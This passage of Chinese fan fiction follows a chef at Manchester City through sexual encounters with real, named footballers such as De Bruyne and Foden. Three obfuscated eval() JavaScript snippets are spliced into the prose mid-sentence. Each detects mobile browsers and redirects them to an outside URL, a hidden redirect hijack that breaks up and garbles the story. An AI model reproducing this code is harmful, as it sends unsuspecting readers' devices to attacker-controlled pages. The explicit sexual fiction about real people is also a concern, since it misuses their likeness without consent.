吻到深处,德布劳内突然抬头看向克里奇利的脸,似乎从迷茫中猛然清醒,他凑近了些,试探地语气问他,“你现在是我的男朋友吗?” “……” 克里奇利搂着他的手忽然泄了点力,愣神了一下,这么细微的反应被敏感的德布劳内瞬间感应到,没有等他回答,一下子松开了攀在的克里奇利后腰的手。 “凯文……”克里奇利伸过去脖子想要再次亲吻他,却被他侧过脸躲开了。 哦天哪,这个问题不在克里奇利的人生答卷上,他怎么能给出答案呢。要知道,他可是伦敦蝴蝶大道一抹最鲜亮的色彩,是震圈一般的存在。 他的朋友们要是知道他谈了男朋友一定会笑话他,一向热衷于追寻新鲜美食,开发新菜品的神级大厨,怎么还能被菜给迷住,要和菜谈恋爱了呢。 但德布劳内不是菜,是叩击他心声的敲门砖,让他还没等睡就开始做上美梦了,他第一次想要放弃不停地寻找新的刺激,而选择背弃他的人生信条,过一次异性恋的小把戏,去和他厮守终生这样的令人钦佩的人生大戏。 然而没怎么谈过恋爱的克里奇利还是生硬地给出了违心的答案,“浪漫的剧情通常都在电影里,也只属于男女主角,怎么能临幸到我身上呢,我可不敢想,和你在一起得是什么样,一家三口逛迪士尼吃草莓冰淇淋还带孩子坐旋转木马吗?” “一点都不好笑,布莱恩,你真可悲。”德布劳内推开他,开始往身上套衣服。 “凯文,我很喜欢你,但是我现在还不知道,也许我还没那个能力和勇气去尝试开始一段感情生活,更不知道该怎么保护我们的关系。”实际上他到是无所谓,主要是考虑到德布劳内,他还在现役,不可以谈这种恋爱的。 “混蛋,你要的是热辣劲爆,是解决现在该死的生理需求!” 德布劳内看了他一眼,他赤裸着坐在床上,手臂支撑起上半身,微微发红的皮肤像刚蒸出来的白薯,热气腾腾,正用渴望的目光炙烤着他。 然而德布劳内没有留恋,他已经过了被美色随意勾住的年纪,他看上去很平静的把衣服裤子一件件穿好,不再回头,还轻蔑地哼了一声,“祝你搞定更多的小受,恕不奉陪!” 砰的一声,门被大力关上。 克里奇利没吃上餐前开胃菜,却吃了德布劳内的一个闭门羹。 “噢fuck!”克里奇利死鱼一般地躺在床上,浑身燥热难耐,又懒得起身去冲凉,他第一次感受到被人晾在床上那种浑浑噩噩的无力感和奔涌的情绪突然被堵回来的那种受挫感。 自己真的做错了吗?德布劳内冷冷清清的也没表现出多么依赖和欣赏自己,相反他还给自己一种很随意很大方很不在乎的感觉。 这么不应景的,伦敦小分队打来视频电话,问他这周末跟车回伦敦不?好久没凑了,要不要来个回马枪,看看蝴蝶大道还有没有人惦记他。 “没时间。”克里奇利淡漠表示,“有人惦记又怎样,我是不会给同一个人中两次奖的。” “还是那个死样,那我们放心了。”狐朋狗友似乎习惯克里奇利一惯的为人处事风格,听完他的话狠狠点头,又夸了他一句,“不愧是伦敦gay圈天菜,等着去曼彻斯特看看你都吃了什么好东西。” 唉…一声叹息梗在克里奇利的喉间,像一根刺扎的他差点呕吐,一丝愧疚感从心底深处默默升了上来,他想立刻冲出去把德布劳内找回来,告诉他,“是的,我是你的男朋友,去他的one night主义,我不想错过你。” 其实和德布劳内一来一往之后,他就已经突破了给自己划的界限,只是他还没完全意识到已经陷入了一段始料未及的恋爱之中,现在刚有点觉醒就被自己的死嘴给堵死了去路。 但是无论如何现在都不能再去招惹德布劳内,搞不好这次真要被他往死里打。 实在是摇摆不定,干什么都觉得闹心,在托马斯回来一脸雀跃的和他说今天卖掉了所有临期三明治时,他一语不发地拿上外套,也没和他聊选秀的事,就匆匆忙忙的出门了。 他来到曼彻斯特的gay吧,店名就是大写的英文字母非常醒目的夜店名字“G-A-Y.” 他坐在吧台前喝着酒,抽着烟,一副纨绔的有些可怜的样子,像做梦似的眼眶子一跳一跳的疼。 这时一个寸头小帅哥坐在离他不远的高脚凳上,点了一杯酒,侧过头来看他。 他感觉有人盯着他也朝那边扫了一眼,谁知小帅哥的脖子就像被卡住了一样,一直歪着头看他,还冲他笑。 要是以前,他一准回个笑容,主动打个招呼,接着就会发生一段水到渠成的艳遇,可今天他竟然无动于衷,面对他人的盯看,漠然地狂吸烟,试图用烟雾来遮挡目光。 “没看错的话,是布莱恩克里奇利吧?” 小帅哥看到他沉默的样子,不太确定地用试探的口吻和他打招呼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686571|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 克里奇利听出一口伦敦腔来,莫不是自己在伦敦的情债。 “是。”他应了一声,大丈夫坐不更名行不改姓,就算是情债也认了。 “真没看出来。”小帅哥摸了摸鼻子,把手搭在杯沿上来回摩挲,释放出一丝懂的都懂的撩拨讯号,“我见过你,在伦敦的nice,当时你和两个朋友在一起,我试图和你说话,但被其他的事给耽搁了,后来才知道我错过了什么。” “是吗。”克里奇利捏了捏鼻梁,有些疲惫地收回了眼神。 “真的,我都没敢认你,你和之前不太一样。” 只不过是长了一岁而已,哪不一样了,他一句话又惹到克里奇利本就不太爽的心。 “就是,有点颓废,还有文静的像个小猫,哦,一只母猫。” 克里奇利终于不淡定了,他离开座位,径直走过去非常随意地端起小帅哥面前的酒杯,一口闷了,然后扯着他的后脖领就把他拖走了。 一直在努力不让自己为谁而动心,现在更是混蛋的像一个无情的播种机器。 他把伦敦来的小帅哥带进包间里一顿凶狠的输出,里外吃了个透,最后穿上裤子准备走人。 “如果传说中的克里奇利是10分的话,那我给你打9.5,那0.5是你不肯给我的吻。”小帅哥在他身后好像网购评价似的给他打了个4星半的好评。 “留点余地不好吗,一定要说出来吗?说出来就封死了以后所有的可能性。”他把想对德布劳内说的话说给了他听,听的他一头雾水。 “反正又见不到了,你要留我的联系方式吗?” “说的也对,不必了。” 克里奇利带着酒足饭饱后却并不愉悦的心情走在回家的路上,这条还不是很熟悉的路有着曼彻斯特独有的清冷,寒风直往他的领口里钻,他摸摸自己冰凉的嘴唇,上面似乎还停留着德布劳内留下的一丝独有的温存,是他不愿被覆盖的印记。 回到家后已经凌晨2点了,托马斯搂着他的switch游戏机睡着了,他真的好爱这个游戏机,都舍不得给克里奇利玩一会。 克里奇利忽然觉得自己很失败,甚至对自己之前放荡不羁的潇洒过活感到惶恐,现在虽然有一份体面的工作,却没有一个体面的生活,拿什么去说教托马斯,教他选美的时候发表单身主义宣言,告诉所有的gay你们不配拥有我,因为我是大家的这种荒谬的悖论吗。 正当他自我否定的时候,叮的一声来了一条短信,是德布劳内发来的,他说:“对不起,是我唐突了,就算你承认是,我也hold不住你,你有你的生活,我们只是合作伙伴而已,希望不要在今后的工作中给你带来什么负担。” 他回到:“我们可以试试吗?” 等了很久他的眼皮实在是支不住了也没有等到德布劳内的回答。 紧接着,他就要随车去伦敦打客场,该来的还是会来,这次的对手是阿森纳。 37.第 37 章 完美无瑕的脸部轮廓,高挑结实的身材,超级性感的top属性都抵挡不住岁月的侵袭,克里奇利最近总是做一些年龄焦虑的梦。 这天一觉醒来,觉得自己不仅仅是涨了1岁这么简单,心里会莫名其妙地升上来许多恐惧,特别是他每天都看见托马斯那张一掐都能掐出水来的小脸蛋,就觉得再不把他送走去参加比赛,就得被他碾压的渣都不剩,最终成为一匹不性感,不帅气,不年轻也不结实的淘汰种马。 他去阿森纳之前给托马斯报了培训课,托马斯在便利店打工的钱仅够吃喝,因此培训课的钱是克里奇利付的。 托马斯惊讶的拉着他的胳膊,不停地问他,“真的吗,真的吗,你真的让我去选美啦?” “我只是给你报个班,有没有这个命还得看你自己,起码你得学学那些娱乐圈里东西吧,不要像个小傻子似的到处乱撞。” 托马斯高兴地拉住他的胳膊,在他的脸上啵唧亲了一口,说着:“谢谢哥!我会好好努力的,将来赚好多钱连本带利还给你,祝你出差开心。” 克里奇利笑笑,背上包刚要出门,托马斯又叫住他,好奇地问:“怎么这两天没见凯文呢,你俩吵架了?” 克里奇利深吸一口气,没有回头,随便回了他一句,“没有,少管闲事。” 自从上次德布劳内从他家离开,就仅仅是在工作中打个照面这么简单了。 那条短信也不知道他收到了没有,总之,克里奇利没有等到回答,也没有在工作中和他有过多的交集。 德布劳内看上去对工作充满了热情,训练中非常努力,依然保留着他一惯的强硬和眼里揉不得沙子的较真踢法,连冷幽默都变得更冷了。 他的饭搭子,自从克里奇利来了以后饭量涨了一倍的格拉利什,在吃完一个春卷后又跑去拿了一个,还兴冲冲地给凯文推荐,“凯文,布莱恩说今天要吃春卷,很爽口的,你也尝尝。” 德布劳内撇撇嘴说:“盲目相信别人只会让你变成胖狗,进球了我都抱不动的那种。” “哈哈哈……”多库笑出两排大白牙。 “笑什么?胖头鱼!你吃了几个鸡爪了!”凯文毫不客气的凶着自家小比弟弟。 格拉利什垮起小狗脸,抱怨道:“哦,凯文,虽然我们今晚就要出发去伦敦,你也不用这么紧张吧,我一定会好好表现的。” 多库大眼珠转了转,说:“是啊,凯文,你怎么像个医生一样,只会挑毛病。” “对,那你们知道为什么医生会生气吗?” “为什么?” “以为医生没有patience(耐心)(patients病人的谐音。)” 两个人咽了口唾沫,无言以对了。 曼城和阿森纳的比赛被安排在黄金时间晚上8点,和北伦敦德比一样票早就售罄了,连内部工作人员都被限制入场,可以看得出这两只球队相遇有多么大的商业价值了,当然也是英超传统焦点之战,一场火星撞地球的排位争顶战一触即发。 因为接触了球星才看球的克里奇利现在也知道这种比赛大家都很紧张,而他只需要做好车餐和球员定制餐就好了,没什么难的,只是他也跟着莫名的紧张。 一是回伦敦他要得闲去会友,二是极有可能遇见阿森纳的前同事,他曾经喂过的小动物们,虽然很想念他们也有在默默关注他们,但他们一定会因为自己加盟曼城而感到不爽。 以上都是他无聊时乱七八糟的想法,估计早就把他忘了吧。 直到德布劳内上车并跟他说,在他下车时给他准备一个果糖丰富的饮料,他才木讷的回过神来,连声答应他,并在他转身时忍不住问:“凯文,你能直接说想喝什么吗?” “橙汁,石榴汁之类的,最好甜一点,但不要额外加糖。” “好。” 他答应着,又抬眼看了看德布劳内,后者没什么表情,只是对他的态度比起以前要友善疏远了一些。 还不如给他一句,问问问,不知道我想喝什么吗,然后在他给他准备了任意一杯饮料他都会笑眯眯的告诉他好喝,是我要的那个味儿。 他这才有些怅然若失的回过味来,德布劳内对他来说并不只是身体上的吸引,或许在他第一次被他擎高了手臂,勒住脖子请进屋里的时候,就已经打开了他内心想要被成熟男人爱和占有的心门。 特别是在误会被解开时那种突然爆发的情感像咬了一口蘸着白糖的黄油,甜腻的令人上头。 可现在,他又不得不恢复那个高傲自大冷酷无情的混蛋人设,只是这次想要快刀斩乱麻,从甜蜜的互相爱慕中抽身出来有点痛和难过罢了。 为了第二天的赛前发布会和适应场地,他们提前一天来到伦敦,其实酋长球场他们来过很多次了,和阿森纳也是老对手,球员私下关系还算不错,特别是津琴科、热苏斯等球员还是曼城转会过去的,连教练阿尔特塔都曾是瓜迪奥拉的徒弟。 但是近年来,阿森纳的打法越来越出色,在保持压迫的控球战术上又增加了很多进攻属性,成为伦敦球队中遥遥领先的一支劲旅,也是曼城最为看重的对手之一。 所以他们想早一点来伦敦,以示重视,加上最近伤病球员较多,瓜迪奥拉考虑留出更充足的时间让大家休息和调整,以便制定更有针对性地应对策略。 特别强调,晚上根据分配好的房间入住,谁也不许私自调换房间和夜不归宿。 每次来大城市,一些人就按耐不住,身心都想往外跑或者带人进来,所以房间都安排了双人间,彼此盯梢,谁的同屋跑出去被发现了谁就要挨罚,罚的方式千奇百怪,保证让人吃不了兜着走。 有一次福登没看住同屋阿尔瓦雷斯,让他跑出去和他小老弟去叙旧,结果遇上工作人员查房,第二天福登负责给球员接水,让阿尔瓦雷斯好个过意不去,以后再也不敢半夜往外跑了。 所以罚的是站岗放哨的,过意不去的是那个跑出去偷腥的,一举双得,屡试不爽。所以谁也不好意思让同屋难堪,都老老实实地接受安排 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他们在看到上次克里奇利给德布劳内赔礼道歉专门做了一个圣诞老人的雪顶草莓小蛋糕的时候,就感觉这个厨子不仅仅是个厨子,还是一个心理按摩师,一个不合格的充电桩——漏电王品牌的。 当他眼神专注的看向你时,就会让你不由自主地想躲避,因为他电人。 福登就被电过一次。一次比赛之后,福登进了一个球,他相当开心,在大巴车上手舞足蹈地和格拉利时、哈兰德他们大声嚷嚷庆祝比赛的胜利,这时克里奇利刚上车,穿过狭窄的通道时,被福登的手臂打到了脸,福登回头一看是他,刚想说sorry,他就把福登原地抱起来和他交换了一下位置,这样他就顺利的通过了过道。 福登很瘦很轻,被他轻松抱起来转到身后,再轻轻放下,听他带着点伯明翰吞音的伦敦腔说着:“祝贺你,菲尔,进的漂亮!” 福登迎上那双神色盎然的大眼睛,还有被他勒住腰的温热手掌,在抱他的时候把衣服搓上去了,正好抚上那截露出来的细腰,让他有一种被暖风吹了一下的舒适感,说不上来,像进球后的心跳。 而他今晚还想试试。 他说卫生间的喷头滴水他睡不着,让格瓦迪奥尔自己睡吧。 格瓦迪奥尔怕他往酒店外面跑连累自己第二天捞不着上场,福登对他说都11点了谁来检查啊,如果来的话你就给我打电话,我保证不出酒店大门,2分钟之内就出现。 “那你去谁的房间啊?”格瓦迪奥尔还不放心。 “瓜迪奥拉那,行了吧?”福登明显撒了个谎,瓜迪奥拉从来都是一个大床房,一杯葡萄酒,10点之后恕不见人。 2分钟后,克里奇利的门铃响了。 “我房间滴水睡不着,你可以收留我吗?”不等克里奇利回答,福登已经登堂入室了。 他拽过克里奇利的被子把自己罩住,只露出一双充满期待的星星眼。 克里奇利无奈,调皮的孩子他见过,调皮的小猴还没和自己混熟就已经跳上床了,该怎么睡呢请问? 38.第 38 章 他这可只有一张床。 一张床一个单身汉还是一个gay,现在小鲜肉突然跳上他的床,怎么有种肉包子打狗的意味,让克里奇利不扑上去都对不起他这伦敦大种马的名头。 但是,他得先搞清楚福登到底是怎么回事,为什么偏偏跑到他这儿来。 “怎么了?”福登背靠在床头,和克里奇利对视着,克里奇利站在床尾正歪着头皱着眉打量他的动机。 “你要喝一杯再睡吗?”福登看了一眼窗边茶几上摆着的半瓶酒,他掀开被子走过去,拿起酒瓶倒了两杯酒,递给克里奇利一杯,再跟他碰了碰杯,刚要一饮而尽,就被克里奇利握住了手腕。 “你明天有比赛,别喝酒。”克里奇利把酒杯从他紧握的手心里抠出来,然后把两杯都喝了,有点辛辣,他的确不是爱喝酒,是想要那种微醺的状态。 “这有什么,我又不是明天早上踢,这点酒精还不两个小时就代谢了。”福登撇撇嘴,一副无所谓的态度,“好了,这回该睡了吧。” 福登重新爬上床,拉开了被子,邀请他进来。 克里奇利正纳闷福登这么随意怎么之前没看出来,而且他说代谢这些酒精只要两个小时,真是年轻好大的口气,他喝了酒第二天自己在哪都要好好看看,不过福登确实年轻帅气,看上去白嫩的像颗荔枝一掐能掐出水来。 克里奇利终于要问问他到底谁给的他勇气,跑到别人房间跟自己房间似的,还要和他睡一张床一个被窝。 “你睡不睡?”福登等得不耐烦,又把被子抓在自己手里,整个人缩进被窝里然后转过去,不理他了。 克里奇利当然也得睡,只是旁边有个燥热的身体传来丝丝热度惹的他没法平静下来。 “你不怕晚上查房查到我这儿来?”克里奇利有些束缚的平躺着。 “他们不查工作人员的房间。” “你也知道,那查到你不在怎么办?” “我想睡个安稳觉,就算被查到了也总比我睡不好明天输球强吧。” “你确定在我这能睡个安稳觉?” “我觉得应该可以,你很好,我很喜欢你,特别是你身上的味道。” “什么味道?” “牛奶味儿。”说着福登就靠近了他的脖颈,在他锁骨的位置闻了闻。“睡前喝一杯牛奶比喝一杯酒要更助眠,布莱恩,你明白我的意思吗?” 明白,他怎么会不明白,福登这点心思在他刚才与他碰杯时那双不敢与自己对视久了的眼睛就让克里奇利猜了个八九不离十,现在他像个小吸血鬼似的埋在自己的颈窝里,正大胆的要尝一口同是白人男的血有没有牛奶的香甜。 克里奇利握住他的肩头把他按了下去,看着他鲜红的嘴唇咽了口唾沫。 福登躺在床上,等着他亲下来,等了一会没等到,于是主动挺起脖子撅起嘴巴去亲他。 福登的吻技相当成熟,看来没少练,深深浅浅迂回缠绕的,一会猛烈进攻,一会又躲起来伺机发动第二轮进攻,就像他在找机会怎么打门一样,蹭来蹭去,勾人心弦。 克里奇利被他吻了一会势头就支楞起来了,他想伸手去抓福登的头发,但是只摸到光滑的瓜皮头,没有他想象中的那样柔软蓬松的手感,像丝巾在指缝中滑过的温柔触感,只有短短发梢刚硬的扎着手心的刺痛。 “等等,菲尔。”克里奇利抓住他不老实的手,“代谢酒精可能只需要两个小时,代谢我可不那么容易,短则三两天,长则不知道,你确定吗?” “你怎么犹犹豫豫的?”福登感觉克里奇利不像他想象中那么干脆利索,都这么到位了,怎么还停下来了,这可不是开车,说刹车就能刹住的,反正他这个年纪是刹不住。 “你明天有比赛,我怕弄伤了你。” “那咱俩反过来?” “那不可能。”克里奇利嘴角一勾,又压下了他的肩膀。 “等等。”这回福登反而叫了停,“你有condom吗,别用酒店的,免得退房时尴尬。” “这么贴心,我有的是。” …… 克里奇利想要忘记那段还没开始就已经结束的感情,但即便是主动缠绕他的美好小鲜肉也不能让他忘却和成熟优雅的男人漫步在深林中的感觉。 他的自责和懊悔像棍棒一样狠狠的敲击着他的后脑,让他一次次沉重的前进都变成努力完成任务的规定动作,然而福登却很难被满足,他简直要榨干了他背后的男人。 终于在凌晨1点才让不知疲倦的小猴满足的呼呼大睡,还手脚并用的箍住了他,搞得他一早醒来浑身像组装的一样,酸痛难耐。 福登早就神清气爽的回到自己的房间,开始了一天的行程。 克里奇利头疼的要命,好在他不用准备正餐,只需要准备车餐就可以了,那他也得吃饭啊,于是,他不得不起来冲了个澡,再穿上曼城工作人员的衣服准备出门,突然他看到酒瓶子底下压着一个纸条,他拿起来看了看,是福登的留言。 他说:“真是一个美妙的夜晚,但我希望只存在我们的记忆中。” 克里奇利秒懂,福登只是一时兴起来讨个快餐吃,可是这个快餐让克里奇利累到快虚脱,良心还受到谴责,他始终没有在福登身上找到自己想要的感觉。 不管了,只要他满意就行。 被克里奇利服务过的对象就没有给他差评的,除了那些早上被他忘记名字的扬言要撅了他的小bottoms。 比赛马上就要开始了,克里奇利在车上为他们准备了特制的奶酪鱼肉丸,一人吃上三五颗,确保上场前不会饿肚子,也不会太有负担。 福登手里拿着东西,没腾出手来,他路过餐车的时候只把脖子伸了过去,克里奇利只好亲自喂他吃上两个。 这一喂正好赶上德布劳内回头喊他,“菲尔,拿着我的水杯。” 克里奇利转过头也迎上那双冒着蓝色火焰的眼睛,然后尴尬地冲他笑笑,没把手指放进自己的嘴里而是在围裙上搓了搓。 希望别影响了德布劳内的情绪,他再次为自己的行为感到不安,上次还是哈弗茨让他有过这种愧疚之心,果然还是不能够招惹敏感又重情义的人的,让他本来觉得够硬的心也变得脆弱起来了。 比赛踢得很焦灼,最终2-2打了个平手。阿森纳是厄德高助攻哈弗茨进球,随后德布劳内助攻福登进球,卡拉菲奥里世界波再度领先,又被斯通斯头球绝平。 比分看不出什么,实际踢得很累也很生气,到最后绝平时还引发了小范围的争吵。 比赛结束了,年轻人的不服气还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726243|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消下去,加上比赛激烈的对抗导致肾上腺素水平还没降下来,火药味在场上愈演愈烈。 最后两位教练握手言和,又赶紧上场去安抚球员,这才把红蓝双方给区别开来,回到了各自的队伍中去。 克里奇利也要早点退场,去车上看看他们有没有准备好赛后要补充的饮料。 就在他和其他工作人员退场的时候,有人喊了他的名字,他回头一看是只穿一条短裤的赖斯。 他的上衣已经脱了送人了,一身白花花的肌肉明晃晃地向他奔过来,然后一把搂住了他的脖子。 “嘿,布莱恩,来了怎么不给我打电话,出了伦敦就把这帮人给忘了?” 要不是他没穿衣服,镜头非得捕捉到他们不可,克里奇利可是穿着蓝运动服啊。 “没有,不敢在赛前打扰你们。” 紧接着克里奇利的后背又被人推了一把,导致他俩往前跳了一步。 克里奇利回头竟然是厄德高,他从克里奇利的另一边钻过来,自然地绕道了他的胳膊弯里。 “嗨!”他仰着湿漉漉的脸看着克里奇利。 “嗨!”克里奇利拍了拍他的肩头。 “我正到处找你呢。”厄德高踮起脚尖,离克里奇利的脸很近,一头被汗水打湿的金发和一双蓝的透亮的眼睛让克里奇利再次眼晕。“我听了你的话没有挑食,好像真的长个了。” “哦?真的吗?”克里奇利不信。 “真的,我们小队长二次发育了。”赖斯开着玩笑。 “什么二次发育,别瞎说。”厄德高隔着克里奇利打了赖斯一下。 他们三个就像一个队的队友不知不觉走到了球员通道口,那边还有几个媒体在等着采访。 克里奇利身边也陆续有曼城的球员退场,每一个看到被阿森纳两个球员搂着的克里奇利,都瞪他,还有上前薅他的,鲁本更是锤了他一拳。 再不松开就要把他领进阿森纳球员更衣室了,厄德高放他抓着他胳膊的手,说,“我先去采访了,布莱恩,一会别走,咱们聚聚吧。” 克里奇利刚要说好,如果一会没安排的话,这时后背又挨了一掌,他以为是曼城的谁又打他,叫他赶紧回去别在这当叛徒,结果一回头竟然是比他高半头的小驴哈弗茨。 “嗨,布莱恩,又见面了。”哈弗茨面带微笑,主动伸出了右手。 “嗨,小凯。”克里奇利和他握了握手,接着被他拉进怀里,两人抱了个瓷实。 虽然他人不在阿森纳而是去了他们的死对头那里,好像也并没有被他们讨厌,相反隔了这么久再次见面,还是有一种火热在他们胸口被点燃,是往昔情谊的证明,可以让彼此更加清晰更加明确的感受到。 克里奇利走后,厄德高还在接受采访,赖斯搂着哈弗茨对他说,“布莱恩好像瘦了很多,而且状态也不如在阿森纳好了。” “嗯,可能水土不服吧。” 哈弗茨虽然只和克里奇利有过一夜之缘,心里可是一直没忘了他,他也发现克里奇利的眼眶更深,眼神更忧郁了,握他的手跟握自己的手似的,像一把干柴一点都不饱满了,大概是在曼城遇到了什么让他憔悴的人或者事吧。 如果他愿意说,哈弗茨也愿意当他的听众,因为曾经他也因为这个掉过几斤称。 39.第 39 章 克里奇利一上车,好家伙,几乎是空车,好多人在赛后都不见踪影了。 因为结束的晚下一个目的地就是酒店,不用急着回城,大家来到伦敦也相当于来了大城市,各种访亲会友都排在了赛后。 瓜迪奥拉也理解,虽然打平了,该放假还是得放不是,他严的时候大嗓门一顿输出跟崩豆似的再难听的话你也得听,他温和的时候就像个慈父,只要你不拆家,爱上哪玩上哪玩,别上花边新闻影响工作就行。 克里奇利自然也没什么工作,他打算回他的阁楼看看,因为有买家出了合适的价格,再过几天这房子就不属于他了。 在伦敦还有个栖身之所,确切地说是为了约会特意筑的没有爱的爱巢。而在曼彻斯特始终像个旅人一样,只有一个单位租的市区小破公寓,治安虽好,热闹不足,对面一个大湿地公园,总想去遛弯喂小动物,感觉已经未老先衰提前去公园熟悉太极位置了。 而且自从收养了阿根廷野生小鹿以来,除了德布劳内他还没带人回去过,道德也变好了,人也变矜持了。 怎么回事他也想不明白,浪子回头了?回哪去,他本来就是缥缈一空帆,在无边无际的大海里晃荡,没有灯塔没有岸更没有一座美丽富饶的小岛肯收留他,其实是他眼盲,看不见周围的群岛,即使有小岛向他发出信号,他也晕陆靠不了几天就又远航了。 刚回到阁楼还没等摸一遍他那些心爱的意大利实木家具就同时收到两条信息,已经半夜11点多了,谁还约他,这时候约的都是寂寞夜归人了,他想。 低头一看,伦敦小分队叫他12点前nice一聚。 厄德高也发讯息给他让他来喝酒聊天,还发了一张聚会的照片。 他想了想,决定还是不去凑阿森纳的局了,时过境迁,无论经历了什么,快乐也好,失望也罢,始终要往前看,他也不是躲避他们,只是要验证自己依然是一匹风情万种的野马,开疆拓土是他本命,最好搅和完伦敦的圈子再把曼彻斯特的圈子搅和的风生水起。 他自诩无情但有义。 于是他在12点准时来到nice和理查德、保罗见面。 谁知他刚步入夜色,穿过熙熙攘攘跳舞的人群,摆脱那些有意无意碰撞他的美好身体,来到他们固定的卡座,就看见这俩人亲在一起了。 “你们在干什么?”他惊讶的伸进去手把他俩强行掰开。 “噢!布莱恩,你来了!”理查德看了他一眼。 “还以为你不来了!”保罗绕开他的胳膊,搂着理查德继续亲,跟两块面团似的不粘在一起难受。 “你俩都无聊到发展成唇友谊了?”克里奇利不太能理解这俩相处了十几年的好哥们,怎么还亲上了,不觉得跟亲自己没两样吗? “谁像你啊,一块没有感情的臭石头,硬邦邦的不懂风情,我们在试婚呢。”理查德之前还说他是遥不可及的绝色,转而就骂他是一块臭硬石头。 “OK,你俩谁在上面?” “无聊。” “真的,我很好奇,都将就成这样了吗?这里面已经没有能看上你俩的了?top稀缺啊,你俩都混成什么鬼了?” “OH fuck you!”理查德和保罗一个勒住他脖子,一个捣他小腹。 聊了一会才知道,这俩人背着他,也不能说背着,他去了曼彻斯特也很少过问伦敦的事儿了。 他们觉得整天鬼混没意思,想互相取暖过点正常日子,每天买买菜,做做饭,一个出去上班,一个在家全职写作,晚上一起吃饭聊天看电影健身,如果有看上的小帅哥,和人家商量一下搞个家政服务,生活有滋有味儿还不受道德谴责,真的挺好的。 但他们知道这样的生活不适合克里奇利,他要是哪天兴冲冲地跑过来给他们介绍这是他男朋友,非惊掉他俩眼珠子不可。 这次见了也是一样。他们说:“布莱恩,你瘦了,看来去曼彻斯特没少贡献力量,要注意身体啊,年龄太小的别去碰了,找点成熟体贴的,还能在事后多包容你,让你没那么愧疚。” “我愧疚什么?” “愧疚30了不赶当初。” “你俩的s嘴赶紧的回去互堵,烦死了!” 他有点后悔来nice遭此羞辱还差点被他俩荒谬的官宣刺瞎了双眼,再多待一会可能就猛不起来了,他俩的x缩力太致命了。 然而,他一进舞池立刻就点燃了周身的小火苗,一堆小帅哥像鲨鱼一样在他身边打转,一个个急着帮他证明年龄不是问题,单身主义万岁!伦敦之夜,属于他的怒放之夜。 只是怒放完了,空虚袭上心头,像被海水吞噬,让他这颗野玫瑰缺氧凋零,只剩下枯萎的花茎和疲惫的情绪,无处安放。 回到曼彻斯特,一切又变的正常起来。 托马斯买了花,插在花瓶里摆在茶几上,让家里更有生气,他说养你都费劲还养花。 托马斯小声声讨他,但目光比从前乖顺了不少。 “培训班上的怎么样了?”他像个家长似的询问托马斯的课业。 “挺好的,学了站姿坐姿和自我介绍的腔调。” “来一段看看。” “在这?” “你要在楼下的喷泉广场脱光了演?” “哥!”托马斯漂亮的脸皱成了包子,“我知道为什么德布劳内和你吵架了,你这张嘴真是不太适合说话。” 克里奇利挠了挠耳朵,不知道该怎么跟他说,自己和德布劳内没下文了。 被克里奇利盯着看的托马斯,以为他要检验这几天培训班的训练成果,还是给他表演了一遍走台流程。 看的克里奇利一脸震惊,撇着嘴拍起了巴掌。 “真是不错,太棒了,阿根廷先生!” 他的赞美就像ai念情诗,毫无感情流露,就是夸3岁小孩会拼图发出的“孩子你真棒”这种称赞型教育。 那也惹得托马斯开心的傻笑,说着不能让你的钱白花,接着又去玩他的游戏机了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756055|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这天,托马斯下了夜班很晚了也不回来,克里奇利给他留了夜宵早早地上床准备睡美容觉,突然接到德布劳内的电话,让他去他家把他的野生动物带回家。 怎么回事,克里奇利纳闷,托马斯怎么跑去德布劳内家了。 半小时后,他开车去德布劳内家把他接回来。 克里奇利观察了一番德布劳内,只有一脸无奈和疑惑,到是没有愤怒的表情。 克里奇利说了声sorry,拉着托马斯的手腕就走。 托马斯一路不吱声,只是低着头掰着自己的手指头。 克里奇利没好气的问他:“怎么回事,老实告诉我,不然我没收你的游戏机!” 托马斯支支吾吾地说:“他来便利店什么都不说甩给我一个信封,我打开一看是一张支票,我一路追到他家想还给他,他不要,让我以后再还他。然后我问起你们最近是不是吵架了。他说你是你,他是他,别管你哥怎么想,当时我说了要资助你就不会反悔。” “我问他,你们是不是分手了。他一生气就把我推出来了,我扒住门框和他说,我哥是一个逃避爱的人,但不代表他不爱,你能不能再给他一次机会,他最近就跟掉了魂儿似的,你没发现他都瘦成皮包骨了吗?” 克里奇利听了差点连车都不会开了,跟听恐怖故事似的,特别是在这凌晨12点空无一人的街道上。 托马斯继续说着:“他说你再不走就叫你哥来接你,他应该知道你来骚扰我后果是什么,我说我才不怕,又不是我跟你要钱的,再说,你这钱我不能要,除非你再给我哥一个机会。他说你爱要不要,不要扔了。” 克里奇利听他在复述刚才发生的事,听着听着又想哭又想笑。 